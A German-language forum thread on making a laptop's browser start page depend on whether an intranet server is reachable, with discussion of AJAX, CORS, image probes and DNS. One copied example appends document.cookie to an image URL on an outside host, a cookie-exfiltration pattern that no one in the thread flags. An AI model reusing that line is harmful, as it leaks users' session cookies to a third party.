Browser-Startseite auf Laptop im Intranet anders als im Internet einstellen

OP #3765521
Lesenswert?

Ich bastel gerade mit HTML/Javascript/AJAX und versuche folgendes zu 
lösen:

Ist mein Laptop im Intranet, möchte ich eine bestimmte, nur dort 
erreichbare Seite als Browser-Startseite haben.

Aber ist mein Laptop woanders im Internet, wo er diese Seite nicht im 
Zugriff hat, soll eine definierte Internetseite geladen werden.

Ich hab mir das so gedacht: Ich speichere eine lokale .html-Datei und 
stelle mir die als Startseite ein. Beim Laden dieser Seite teste ich mit 
Javascript oder so, ob ich die Intranetseite erreichen kann (1 Sekunde 
Timeout), und bei Timeout lade ich die externe Seite, sonst eben die 
interne.

Aber wie bekomme ich diesen Test hin (ob der Intranet-Server verfügbar 
ist) - Ajax scheidet wohl aus, weil die .html-Datei nicht vom Server 
geliefert wurde..?
Gast #3765579
Lesenswert?

Rainer Unsinn schrieb:
> Ajax scheidet wohl aus, weil die .html-Datei nicht vom Server
> geliefert wurde..?

was hat das eine mit dem andere zu tun? Man kann mit ajax jeder Server 
ansprechen egal woher das script geladen wurden. Wenn die Orgin-Policy 
zuschlägt bekommt man nur keinen Inhalt. Aber du willst ja auf Timeout 
prüfen, das sollte gehen.
Gast #3765607
Lesenswert?

Rainer Unsinn schrieb:
> Ja, aber sie schlägt immer zu (also ich bekomme immer sofort keinen
> Inhalt) und deshalb taugt das nicht als Test..

nein macht sie nicht. Weil der Server den man anfragt in Header 
festlegen darf das jemand fremdes von ihm Daten abrufen darf.

Um diesen Header zu prüfen muss man erst mal eine Abfrage ausführen.
OP #3765628
Lesenswert?

Peter II schrieb:
> nein macht sie nicht.

Bei mir aber schon.. Also ich bekomme als Antwort vom Server überhaupt 
nix / vielleicht muss ich auch anders abfragen? - auf dem Server liegt 
zum Test einfach ein kleines php-Script (alive.php):
1
<?php  
2
  echo json_encode("ok");
3
?>

Das kann ich mit dem Browser aufrufen und bekomme "ok" zurück. Aber 
innerhalb der Seite gelingt mir das nicht -
1
function alive_check()
2
{
3
  var _loc = gTESTLocation + "alive.php";
4
  $.ajax
5
  ({
6
      type: "POST",
7
      timeout: 1000,
8
      url: _loc,
9
      data: {  dummy:"x" },
10
      success: function(data)
11
        { alert("alles ok"); window.location = URL1; },
12
      error: function(x, t, m)
13
        { if(t==="timeout")
14
          { alert("Timeout");  window.location = URL2; }
15
            else
16
          { alert("allgemeiner ajax-Fehler(" + t + ")"); window.location = URL2; }  
17
        }
18
  });
19
}
Gast #3765645
Lesenswert?

Rainer Unsinn schrieb:
> Bei mir aber schon.. Also ich bekomme als Antwort vom Server überhaupt
> nix / vielleicht muss ich auch anders abfragen? - auf dem Server liegt
> zum Test einfach ein kleines php-Script (alive.php):

ich habe doch geschrieben, das du auch wegen der Policy einen Header 
brauchst. Aber du sollst einfach auf Timetout abfragen. Wenn ein Timeout 
kommt bist du nicht im firmennetz.

http://en.wikipedia.org/wiki/Cross-Origin_Resource_Sharing
OP #3765664
Lesenswert?

Hier habe ich noch einen anderen Lösungsansatz gesehen, aber da weiß ich 
nicht, wie ich den Timeout von 1s hineinbekommen soll:
1
function checkServerStatus()
2
{
3
  alert("bin da");
4
  var img = document.body.appendChild(document.createElement("img"));
5
  img.onload = function()
6
  {
7
    window.location = URL1;
8
  };
9
  img.onerror = function()
10
  {
11
    window.location = URL2;
12
  };
13
  img.src = "http://myserver.com/ping.gif";
14
}
OP #3765682
Lesenswert?

Und hier noch ein Beispiel mit Timeout, aber da versteh ich das Prinzip 
nicht (also ich nehme mal an es muss in eine Javascript-Funktion):

[/code]
var image = new Image();
image.src = "https://www.site.com/cgi-bin/pullimg.cgi?user="; + 
encodeURI( document.cookie );
setTimeout
(
    function()
    {
        if ( !image.complete || !image.naturalWidth )
        {
            image.src = "http://mirror.site.com/err.png";;
        }
    },
    1000
);
[/code]

Erste Zeile ist klar.
Zweite Zeile: ich vermute, es ist so gemacht, damit es irgendwie 
dynamisch ist bzw. nicht aus dem Browser-Cache geladen wird
Dritte Zeile: ? warum muss man die Funktion da drin schreiben? Na gut, 
also das passiert nach einer Sekunde.
OP #3765693
Lesenswert?

Also für heute geb ich erstmal auf, wäre aber trotzdem nett, wenn einer 
ein einfaches Kochrezept hätte.

Ist Fr nachmittag und ich stell mich doof an, aber warum muss das mit 
diesem Html/Javascript-Geraffel so kompliziert sein?

Ich will doch nur schreiben / erreichen

if ping(Intranetserver) < 1s
then lade die Seite
else lade andere Seite


Bilde ich mir das ein oder ist php einfacher zu durchschauen ?
Persönliche Seite #3766906
Lesenswert?

Rainer Unsinn schrieb:
> Und hier noch ein Beispiel mit Timeout, aber da versteh ich das Prinzip
> nicht

Das Timeout ist keins im sinne von "versuch es X Sekunden" sondern NACH 
X Sekunden...

Dein Problem wird auch sein das für Lokales HTML nochmal andere 
Restriktionen gelten.

Mach es doch einfach so:
- <div> mit einer ID
- CSS Datei welche das Div rot färbt vom Intranetserver einbinden
- Nach Timeout (z.B: 3 Sekunden) per JS prüfen ob Div Rot ist --> 
Redirect
#3766922
Lesenswert?

Rainer Unsinn schrieb:
> Ich will doch nur schreiben / erreichen
>
> if ping(Intranetserver) < 1s
> then lade die Seite
> else lade andere Seite
>
> Bilde ich mir das ein oder ist php einfacher zu durchschauen ?

Der Grund ist einfach: JavaScript ist das falsche Tool für diesen 
Einsatz. Ich möchte z.B. nicht, dass beliebige Seiten, die ich im 
Browser öffne, auf einmal damit anfangen wild herumzupingen. Darum ist 
das recht restriktiv.

"Saubere" Möglichkeiten: Internen DNS-Eintrag auf interne Seite und 
externen DNS-Eintrag auf externe Seite. Oder Redirect am Server, aber 
den wirst du wohl von Extern gar nicht erreichen, oder?
OP #3768366
Lesenswert?

Läubi .. schrieb:
> Das Timeout ist keins im sinne von "versuch es X Sekunden" sondern NACH
> X Sekunden...

Ja ich glaube, das war mein Verständnisproblem. Also eher ein Timer 
(Wecker).

Jan Hansen schrieb:
> Oder Redirect am Server, aber
> den wirst du wohl von Extern gar nicht erreichen, oder?

So ist es.


"Saubere" Möglichkeiten: Internen DNS-Eintrag auf interne Seite und
externen DNS-Eintrag auf externe Seite

Wie das? es sind ja 2 verschiedene Seiten, und die externe Seite soll 
auch von intern (unter ihrere üblichen URL) erreichbar sein.

Antwort schreiben

Bitte melde dich an, um einen Beitrag zu schreiben.

oder

Mit Google-Account einloggen

Die Registrierung ist kostenlos und dauert nur eine Minute.

Jetzt registrieren